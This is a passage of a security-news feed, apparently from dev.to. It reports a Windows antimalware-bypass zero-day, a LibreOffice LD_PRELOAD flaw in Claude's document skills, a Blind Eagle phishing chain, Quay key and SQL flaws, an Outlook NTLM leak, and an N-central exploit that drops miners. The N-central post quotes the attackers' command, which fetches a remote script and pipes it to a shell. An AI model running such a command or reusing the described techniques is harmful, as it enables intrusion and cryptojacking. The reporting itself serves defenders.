&lt;p&gt;"What makes it funnier is the fact that it can be used against any antimalware engine to bypass their self defense (or tamper protection) mechanism, as you can trigger arbitrary file creation in the context of their own antimalware process so from the perspective of their kernel drivers, the file creation request is coming from their own legit process so it passes," Naceri said. "This makes this vulnerability unique as it can be used to turn off any antivirus/EDR."&lt;/p&gt;

&lt;p&gt;He is clear that Microsoft did the work correctly. "Everything is done properly by Microsoft here but the logic allows abuse," he said. The chain uses a legitimate security mitigation against itself.&lt;/p&gt;

&lt;h2&gt;
  
  
  Checking whether you're exposed
&lt;/h2&gt;

&lt;p&gt;Naceri gives two ways to test a machine. Run the proof-of-concept exploit: if it spawns a SYSTEM shell, the machine is vulnerable. Or read the CLFS authentication mode at &lt;code&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CLFS\Authentication\Mode&lt;/code&gt;. A value of 0 (learning mode) or 1 (enforcement mode) means the box is vulnerable.&lt;/p&gt;

&lt;p&gt;Scope is wide but not universal. SignDrop can't be used against every Windows machine. Naceri tested it on Windows 11 26H2, Windows 11 26H2 Experimental, and Windows Server 2025 Experimental, and estimates 80% of Windows installations are vulnerable.&lt;/p&gt;

&lt;p&gt;There is no fix to apply yet. Naceri says the only option is waiting for a patch from Microsoft. Disabling the CLFS mitigation would reopen the door to the memory corruption vulnerabilities it was built to stop, so turning it off trades one exposure for another. Teams that depend on EDR tamper protection as a control should treat it as unreliable on affected hosts until a patch ships, and lean harder on controls that don't sit on the endpoint: network segmentation, privileged-access monitoring, and alerting on unexpected SYSTEM shells.&lt;/p&gt;

&lt;h2&gt;
  
  
  The disclosure context
&lt;/h2&gt;

&lt;p&gt;Naceri, who says he is a former Microsoft employee, has published SignDrop as a zero-day with no patch available. It joins a long run of flaws he has disclosed in Microsoft Defender, BitLocker, and other Windows components since April: BigDiskBuster, ShieldCrash, ShieldBreak, LegacyHive, RoguePlanet, BlueHammer, RedSun, YellowKey, GreenPlasma, MiniPlasma, and UnDefend. Five years ago he released several privilege-escalation zero-days for various Windows versions.&lt;/p&gt;

&lt;p&gt;His pattern of disclosing publicly without first reporting privately has history with Microsoft. After an earlier round, the company warned of legal action against anyone engaging in "malicious activity causing real harm" to its customers, which much of the infosec community read as aimed at Naceri. Microsoft has since fixed some of this year's disclosures, including ShieldBreak, RoguePlanet, YellowKey, GreenPlasma, and MiniPlasma. The rest, SignDrop included, are still waiting on an official patch.&lt;/p&gt;

</description>
      <category>windowssecurity</category>
      <category>privilegeescalation</category>
      <category>zeroday</category>
    </item>
    <item>
      <title>Claude Office Party Enables Linux Code Execution</title>
      <dc:creator>RC</dc:creator>
      <pubDate>Sun, 15 Nov 2026 22:25:48 +0000</pubDate>
      <link>https://dev.to/randomchaos/claude-office-party-enables-linux-code-execution-41h</link>
      <guid>https://dev.to/randomchaos/claude-office-party-enables-linux-code-execution-41h</guid>
      <description>&lt;p&gt;A fixed temporary-file path in Claude's official document-processing skills can cause LibreOffice to load and execute an attacker-supplied shared library on Linux. The code runs with the privileges of the user operating the AI agent.&lt;/p&gt;

&lt;p&gt;AIR Security found the flaw, named Office Party, in Anthropic's DOCX, PPTX, and XLSX skills. These skills let Claude create, read, edit, and process Word documents, PowerPoint presentations, and Excel spreadsheets. Anthropic acknowledged the issue after AIR reported it in May but considers it outside its security boundary because the affected code runs inside a sandbox. The helper script remains unchanged, according to the researchers.&lt;/p&gt;

&lt;h2&gt;
  
  
  A predictable library becomes executable input
&lt;/h2&gt;

&lt;p&gt;The vulnerable component is &lt;code&gt;soffice.py&lt;/code&gt;, a helper script that starts LibreOffice for document conversion, including rendering Word documents as PDFs. In environments where LibreOffice cannot open Unix-domain sockets, the script falls back to a workaround based on Linux's &lt;code&gt;LD_PRELOAD&lt;/code&gt; mechanism.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;LD_PRELOAD&lt;/code&gt; instructs the dynamic linker to load a specified shared library before other libraries required by a process. It is useful for interposition and compatibility work, but any library selected through it becomes executable code inside the new process.&lt;/p&gt;

&lt;p&gt;Claude's helper checks a shared temporary directory for a library named &lt;code&gt;lo_socket_shim.so&lt;/code&gt;. If the file exists, the script uses it without verifying its origin or contents. An attacker who places a malicious library at that path can wait for the next document-processing operation. When Claude starts LibreOffice, the attacker's library is loaded automatically.&lt;/p&gt;

&lt;p&gt;The trigger can therefore be an ordinary request to generate or convert a document. The user does not have to execute the planted file directly. The trusted document skill supplies the execution path.&lt;/p&gt;

&lt;h2&gt;
  
  
  Skill composition creates the attack chain
&lt;/h2&gt;

&lt;p&gt;AIR demonstrated the behavior in two ways. In the first, the researchers manually placed a malicious library in the temporary directory and then asked Claude Code to generate a document. In the second, a separate, apparently legitimate AI skill unpacked a supporting file into that directory. The document skill later found the file and loaded it.&lt;/p&gt;

&lt;p&gt;The second case matters for assessing agent deployments. A malicious or compromised skill does not need to invoke the vulnerable helper or exploit LibreOffice directly. It only needs permission to write the expected filename into a directory shared with the official skill. A later operation completes the chain.&lt;/p&gt;

&lt;p&gt;This is a dependency and composition problem. Reviewing each skill separately can miss the interaction between a component that writes files and another that treats an existing file as trusted executable code. Shared writable directories make that interaction easier to arrange.&lt;/p&gt;

&lt;p&gt;The issue affects Linux environments where Unix sockets are blocked, including some container security configurations and Claude Code's sandbox. AIR reports that macOS is unaffected because the workaround does not load the library through &lt;code&gt;LD_PRELOAD&lt;/code&gt; there.&lt;/p&gt;

&lt;h2&gt;
  
  
  What defenders should check
&lt;/h2&gt;

&lt;p&gt;Start by identifying Linux Claude deployments that use the official DOCX, PPTX, or XLSX skills. Determine whether their execution environments block Unix-domain sockets, since that condition selects the vulnerable fallback. Inspect how the shared temporary directory is mounted, which processes and skills can write to it, and whether it persists across otherwise separate tasks.&lt;/p&gt;

&lt;p&gt;Monitoring should cover creation or replacement of &lt;code&gt;lo_socket_shim.so&lt;/code&gt; in the relevant temporary location, followed by LibreOffice execution with &lt;code&gt;LD_PRELOAD&lt;/code&gt; set. A file appearing before document conversion is more useful telemetry than document content alone. Defenders should also examine whether untrusted skills can extract arbitrary supporting files into shared temporary storage.&lt;/p&gt;

&lt;p&gt;AIR recommends maintaining a live inventory of AI skills and add-ons installed across employee agents. Official skills belong in that inventory alongside third-party components. Their scripts, update state, filesystem access, and interactions with other skills should be reviewed as software dependencies.&lt;/p&gt;

&lt;p&gt;Sandboxing still limits the environment available to the malicious library, but AIR disputes Anthropic's treatment of that boundary as sufficient. The researchers point out that code inside the sandbox runs with the user's permissions where the user's files and work are already available. Defensive prioritization should therefore depend on what the sandbox can access, not merely on whether one exists.&lt;/p&gt;

</description>
      <category>claudecode</category>
      <category>linuxsecurity</category>
      <category>aiagents</category>
    </item>
    <item>
      <title>Blind Eagle's late-October phishing wave counted 3,300 emails</title>
      <dc:creator>RC</dc:creator>
      <pubDate>Sun, 15 Nov 2026 06:25:29 +0000</pubDate>
      <link>https://dev.to/randomchaos/blind-eagles-late-october-phishing-wave-counted-3300-emails-43ae</link>
      <guid>https://dev.to/randomchaos/blind-eagles-late-october-phishing-wave-counted-3300-emails-43ae</guid>
      <description>&lt;p&gt;Zenox counted nearly 3,300 malicious emails between late October and early November 2026 in a phishing wave it attributes to Blind Eagle, the Spanish-speaking group also tracked as APT-C-36 and active since 2018. The lures read as court notifications, fiscalía notices, tutela proceedings, and administrative documents in Portuguese and Spanish, aimed at the people whose jobs involve opening exactly those files: staff who handle cases, contracts, judicial matters, or institutional service requests.&lt;/p&gt;

&lt;p&gt;Blind Eagle's history is commodity RATs delivered by spear-phishing: AsyncRAT, BitRAT, Lime RAT, NjRAT, Quasar RAT, and Remcos RAT. The payload here is an AsyncRAT fork that Zenox ties to DCRat lineage by code structure, configuration, build characteristics, and observed behavior.&lt;/p&gt;

&lt;h2&gt;
  
  
  The delivery chain
&lt;/h2&gt;

&lt;p&gt;One sample arrives as a Colombian judicial-themed XHTML attachment. The file is a weaponized SVG that renders a fake web page impersonating Colombia's Fiscalía General de la Nación, the Office of the Attorney General. That page runs HTML smuggling: it assembles the next-stage ZIP archive locally in the browser using ZipCrypto, so the archive never crosses the mail gateway and email security controls never inspect it.&lt;/p&gt;

&lt;p&gt;Inside the ZIP is a JavaScript dropper posing as Network Configuration Auditor version 2.7.298. It fingerprints the host first (system version, network profile, installation date, memory size, computer name, environment variables, and directory names localized in Portuguese and Spanish), then launches a Visual Basic Script that bypasses AMSI and ETW while displaying a fake criminal-citation page to hold the victim's attention.&lt;/p&gt;

&lt;p&gt;In parallel, the malware deletes the original XHTML artifact, clears Mark of the Web metadata so the downstream files are not flagged as internet-sourced, and writes persistence into the Windows Startup folder for execution on boot. PowerShell decodes and launches the final RAT in memory.&lt;/p&gt;

&lt;h2&gt;
  
  
  Attribution and targeting
&lt;/h2&gt;

&lt;p&gt;Zenox reads the combination of Portuguese and Spanish lures, Brazilian infrastructure, operational timezone, and regional victimology as an APT-C-36 operation run through a Brazilian operational cluster. It could not confirm whether any of the emails produced a real compromise.&lt;/p&gt;

&lt;p&gt;The targets are judicial, fiscal, administrative, and educational organizations, which gives the operator access to legal, financial, and institutional information when the chain works. Colombia remains a priority target. Zenox researcher Gabriel Alves attributes the repeated focus to structural vulnerabilities and uneven security maturity across parts of the country's critical, public, financial, and private-sector infrastructure, together with regional actors' familiarity with the Colombian context.&lt;/p&gt;

&lt;h2&gt;
  
  
  What to watch for
&lt;/h2&gt;

&lt;p&gt;The useful detail for defenders is in the mechanics rather than the lure theme. HTML smuggling with ZipCrypto means the malicious archive is built client-side, so a mail filter never sees it; detection has to sit on the endpoint and in the browser. SVG and XHTML attachments that render full interactive pages are better treated as executable content than as images. The Mark of the Web stripping and Startup-folder persistence are both observable on the host. A file calling itself Network Configuration Auditor 2.7.298 that spawns VBScript and then PowerShell is a process lineage worth alerting on, whatever the email around it claimed to be.&lt;/p&gt;

</description>
      <category>blindeagle</category>
      <category>htmlsmuggling</category>
      <category>rat</category>
    </item>
    <item>
      <title>Red Hat discloses critical signing-key flaw in Quay</title>
      <dc:creator>RC</dc:creator>
      <pubDate>Sat, 14 Nov 2026 22:25:29 +0000</pubDate>
      <link>https://dev.to/randomchaos/red-hat-discloses-critical-signing-key-flaw-in-quay-18kh</link>
      <guid>https://dev.to/randomchaos/red-hat-discloses-critical-signing-key-flaw-in-quay-18kh</guid>
      <description>&lt;p&gt;Red Hat disclosed two critical flaws in Quay this week, both rated near the top of the CVSS scale, both found by Red Hat's Dave O'Connor. The first, CVE-2026-123710 (9.8), lets anyone who can reach a Quay registry plant their own permanent signing key and then read or overwrite private images in every repository. The logic behind it has been in Quay since its first public commit.&lt;/p&gt;

&lt;p&gt;Quay signs the access tokens that authorize image pushes and pulls with keys it trusts. The key server will replace a key if the request carries a token signed by a trusted key with the expected audience and issuer, and it never checks that the token was actually issued for key rotation. Quay's own &lt;code&gt;/v2/auth&lt;/code&gt; endpoint hands out anonymous tokens signed with a trusted key, and the caller picks the audience. So the attacker asks Quay for a token, points it at the key server, and registers a key of their choosing with no expiry.&lt;/p&gt;

&lt;p&gt;After that the registry accepts tokens signed with the attacker's key for any repository. They can pull private images and whatever secrets or credentials are baked into them, and push or overwrite images that then propagate to every system that later pulls them. The planted key survives restarts until someone deletes it. It can also be used to delete the keys that running Quay instances rely on, at which point normal pushes and pulls start failing with authentication errors.&lt;/p&gt;

&lt;p&gt;Anonymous access is on by default in Quay, and while it is on the attacker needs no account. Turning it off does not close the hole; any valid account can still run the same sequence, and Red Hat is explicit that a key planted this way keeps working after you disable anonymous access, reset passwords, or rotate robot tokens. Any Quay instance an untrusted client can reach is exposed, including internal registries, standalone installs, the Quay Operator on OpenShift, and the mirror registry for OpenShift.&lt;/p&gt;

&lt;p&gt;The second flaw, CVE-2026-110697 (9.9), is a one-character SQL bug. The code that lists robot accounts builds a &lt;code&gt;LIKE&lt;/code&gt; pattern from the namespace name without escaping wildcards, and in SQL &lt;code&gt;LIKE&lt;/code&gt; an underscore matches any single character. A user who can create a namespace can name it so the underscore lines up with another tenant's namespace, and the query returns that tenant's robot accounts along with their decrypted tokens. The attacker needs no elevated privileges and the victim does nothing. With those tokens the attacker reads, pushes, or overwrites the other tenant's images; where Quay is the integrated registry for OpenShift, Red Hat says stolen robot credentials can inject malicious images into CI/CD pipelines. Deleting the attacker's namespace deletes the matching robot accounts, which can cut off systems that depend on them.&lt;/p&gt;

&lt;p&gt;Red Hat has shipped fixed builds for eight Quay 3 branches and says Quay.io is already patched. The reporting around the advisories is uneven: when checked today the CVE entry for CVE-2026-123710 still listed every package as affected with no fix, and none of the eight advisories list CVE-2026-110697 even though its CVE page names them as the fixed releases. Red Hat lists every version of Quay 3 and Quay 5 as affected by both.&lt;/p&gt;

&lt;p&gt;For the key flaw, the interim steps are specific. Block the &lt;code&gt;/keys&lt;/code&gt; endpoint at the proxy or load balancer for everything except trusted internal components. Search audit logs for &lt;code&gt;service_key_rotate&lt;/code&gt; and &lt;code&gt;service_key_delete&lt;/code&gt; events with a null &lt;code&gt;expiration_date&lt;/code&gt;, and remove any approved service keys you don't recognize. None of this holds until the fixed release is running, because an attacker can add a new key the same way, so deleting one is temporary.&lt;/p&gt;

&lt;p&gt;For the robot-account flaw, limit who can create organizations or namespaces containing an underscore, rotate robot tokens for any namespace that matches an underscore namespace, and watch for pushes and pulls that don't match normal robot use. Red Hat is clear these reduce exposure but do not fix the flaw; updating is the only complete fix.&lt;/p&gt;

&lt;p&gt;The upstream patch adds the rotation check the key server was missing, requires keys added through the key server to carry an expiry, and stops callers from choosing a token's audience. The same change closes the robot-account search.&lt;/p&gt;

</description>
      <category>redhatquay</category>
      <category>containersecurity</category>
      <category>cve</category>
    </item>
    <item>
      <title>CISA gives agencies until November 24 to patch Outlook flaw</title>
      <dc:creator>RC</dc:creator>
      <pubDate>Sat, 14 Nov 2026 06:25:54 +0000</pubDate>
      <link>https://dev.to/randomchaos/cisa-gives-agencies-until-november-24-to-patch-outlook-flaw-2lc4</link>
      <guid>https://dev.to/randomchaos/cisa-gives-agencies-until-november-24-to-patch-outlook-flaw-2lc4</guid>
      <description>&lt;p&gt;Microsoft shipped fixes for 1,259 vulnerabilities on Tuesday, and the one already being used in the wild is rated Moderate. CVE-2026-124194, a spoofing flaw in Outlook with a CVSS score of 6.5, is flagged by Microsoft as actively exploited. CISA added it to its Known Exploited Vulnerabilities catalog, giving federal agencies until November 24, 2026 to apply the fix.&lt;/p&gt;

&lt;p&gt;The mechanism is a familiar one. Outlook's UI fails to warn users before an unsafe action. An unauthenticated attacker sends a specially crafted message file and persuades the target to open it in an affected version of Outlook. Opening it could cause Outlook to connect to an attacker-controlled network location without showing the usual external-content warning, potentially disclosing authentication information such as an NTLMv2 hash that an attacker could use to impersonate the user. Microsoft says exploitation requires both network connectivity and user interaction.&lt;/p&gt;

&lt;p&gt;Jack Bicer, director of vulnerability research at Action1, argues the Moderate label undersells it. "Email is the easiest door into any company, and this flaw turns one opened file into a stolen identity," he said. "A captured hash can let an attacker sign in as the victim, read their data, and move to other systems they can reach." His point about the rating is fair. The flaw is being exploited, it needs only a single click on an email file, and it hits a product nearly every organization runs.&lt;/p&gt;

&lt;p&gt;Microsoft has not attributed the activity to any threat actor, has not published technical details on how it is being exploited, and has not said whether the discovery came before or after attackers started using it. The flaw was credited to a researcher named Nono and to Anthropic's Benoît Sevens, who used Claude to find and report it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Patch it, and throttle the leak where you can't
&lt;/h2&gt;

&lt;p&gt;The patch is the fix, and for anything internet-facing or exposed to inbound mail it should go in ahead of the KEV deadline rather than on it. Where patching lags on some hosts, the damage path here is an outbound connection to an attacker's network location that can disclose authentication information such as an NTLMv2 hash. Egress controls that block outbound SMB and NTLM authentication to hosts outside your network limit what that leaked hash can reach, and they are worth having regardless of this specific CVE. They do not replace the patch; they reduce the blast radius if a user opens the file before the patch lands.&lt;/p&gt;

&lt;h2&gt;
  
  
  The rest of the load
&lt;/h2&gt;

&lt;p&gt;This is the second consecutive month Microsoft's patch volume has topped 1,000. The 1,259 fixes break down to 726 in Windows, 174 in Office, 59 in SQL Server, 61 in Developer Tools, and 27 in SharePoint Server, plus 165 CVE identifiers not issued by Microsoft itself. Elevation of privilege accounts for more than 500 of them, with remote code execution and information disclosure behind it. By Tenable's count, courtesy of senior staff research engineer Satnam Narang, Microsoft has now addressed over 5,100 CVEs this year.&lt;/p&gt;

&lt;p&gt;Several of the non-Outlook bugs are worth a look depending on what you run. Remote code execution flaws landed in Windows Search (CVE-2026-116928), LDAP (CVE-2026-119958), Windows Schannel (CVE-2026-119952), the Windows Virtual Filtering Platform (CVE-2026-95962), and the Xbox Live Networking Service (CVE-2026-112967). There is also a privilege escalation flaw in Azure OpenAI (CVE-2026-119990).&lt;/p&gt;

&lt;p&gt;With a thousand-plus fixes two months running, triage beats completeness. Jake Knott, head of threat intelligence at watchTowr, put the order plainly: "Start with what you actually have exposed to the Internet, then what's already being exploited in the wild, and only then everything else. Before going into panic mode, check whether you even use the vulnerable component, or meet the prerequisites for exploitation." For CVE-2026-124194 the prerequisites are low, which is why it belongs near the top of the list.&lt;/p&gt;

</description>
      <category>patchtuesday</category>
      <category>outlook</category>
      <category>ntlm</category>
    </item>
    <item>
      <title>4EverAble2Shell chain plants Monero miners on 21 N-central servers</title>
      <dc:creator>RC</dc:creator>
      <pubDate>Fri, 13 Nov 2026 22:25:23 +0000</pubDate>
      <link>https://dev.to/randomchaos/4everable2shell-chain-plants-monero-miners-on-21-n-central-servers-35p6</link>
      <guid>https://dev.to/randomchaos/4everable2shell-chain-plants-monero-miners-on-21-n-central-servers-35p6</guid>
      <description>&lt;p&gt;XMRig Monero miners are running on 21 N-central servers, dropped through an unauthenticated exploit chain that independent researcher Sean Bales disclosed as 4EverAble2Shell. Huntback traced all 21 compromises to a single attacker host at 157.20.241[.]16, which serves a shell script named jup.sh that installs the miner.&lt;/p&gt;

&lt;h2&gt;
  
  
  From a SOAP fault to root
&lt;/h2&gt;

&lt;p&gt;The chain stitches together two weaknesses. The entry point is CVE-2026-90436 (CVSS 9.8), a flaw in the Apache Axis component bundled with N-central. Previdian, tracking it as VULN-2026-0009, describes the mechanism: during SOAP fault processing, Axis performs unsafe class instantiation, and a crafted request steers an attacker-selected JLine class into processing malicious input. That yields command execution as the nable service account. A separate N-central privilege escalation bug takes the operator from that service account to root.&lt;/p&gt;

&lt;p&gt;The install command is terse:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;mount -o remount,exec /tmp 2&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;/dev/null&lt;span class="o"&gt;;&lt;/span&gt; curl -fsSL hxxp://157.20.241&lt;span class="o"&gt;[&lt;/span&gt;.&lt;span class="o"&gt;]&lt;/span&gt;16:8080/jup.sh &lt;span class="o"&gt;|&lt;/span&gt; sh -s nc_&lt;span class="o"&gt;[&lt;/span&gt;target-IP-redacted&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The remount re-enables execution on /tmp in case it was mounted noexec, then pulls and pipes jup.sh straight to a shell. Previdian observed the same host sending diagnostic information and command output back to the server. The XMRig payload is configured to use only half the available CPU cores, keeping load low enough to avoid the obvious tell of a pegged machine. Victims sit across the U.S., South Africa, Canada, the U.K., Germany, France, and Sweden.&lt;/p&gt;

&lt;h2&gt;
  
  
  Hotfix 2 did not save them
&lt;/h2&gt;

&lt;p&gt;Nineteen of the 21 victims were already running Hotfix 2. Huntback is blunt that applying Hotfix 2 is not enough on its own. 4EverAble2Shell, and a companion set Bales calls Agent2Shell, work against the latest version of N-central and can execute code as root on the server and reach SYSTEM on managed Windows hosts under specific conditions.&lt;/p&gt;

&lt;p&gt;That changes the cleanup math. An N-central server manages your customers' endpoints, so root on it is root on the management plane for every device under it. Huntback's guidance is to treat a hit as full compromise rather than a miner cleanup. The miner is the only payload observed so far, but the access it rode in on is what matters.&lt;/p&gt;

&lt;h2&gt;
  
  
  N-able's precautions
&lt;/h2&gt;

&lt;p&gt;N-able has pulled levers rather than wait on a complete fix. On Hosted environments it has turned the Legacy API off by default and disabled the Intune integration while it builds and validates additional protections. It acknowledges the restrictions may break some functionality and frames them as precaution during remediation.&lt;/p&gt;

&lt;p&gt;For both Hosted and on-prem, the standing guidance is to upgrade Agents and Probes on N-central 2026.4 HF1 or above. That release reworks legacy Agent and Probe components and changes how the two communicate, so N-able is explicit that upgrading both is a must to keep all managed devices communicating and patched. On-prem operators should also confirm Legacy API access is disabled if it was ever turned on.&lt;/p&gt;

&lt;p&gt;If you run N-central, the checklist is short: on 2026.4 HF1 or above, upgrade both Agents and Probes, disable the Legacy API, and, because patch level did not save 19 of these shops, hunt the indicators directly. Outbound connections to 157.20.241[.]16, an executable /tmp, and an XMRig process using half the available CPU cores are the cheap ones to check first.&lt;/p&gt;

</description>
      <category>nablencentral</category>
      <category>cryptojacking</category>
      <category>exploitchain</category>
      <category>apacheaxis</category>
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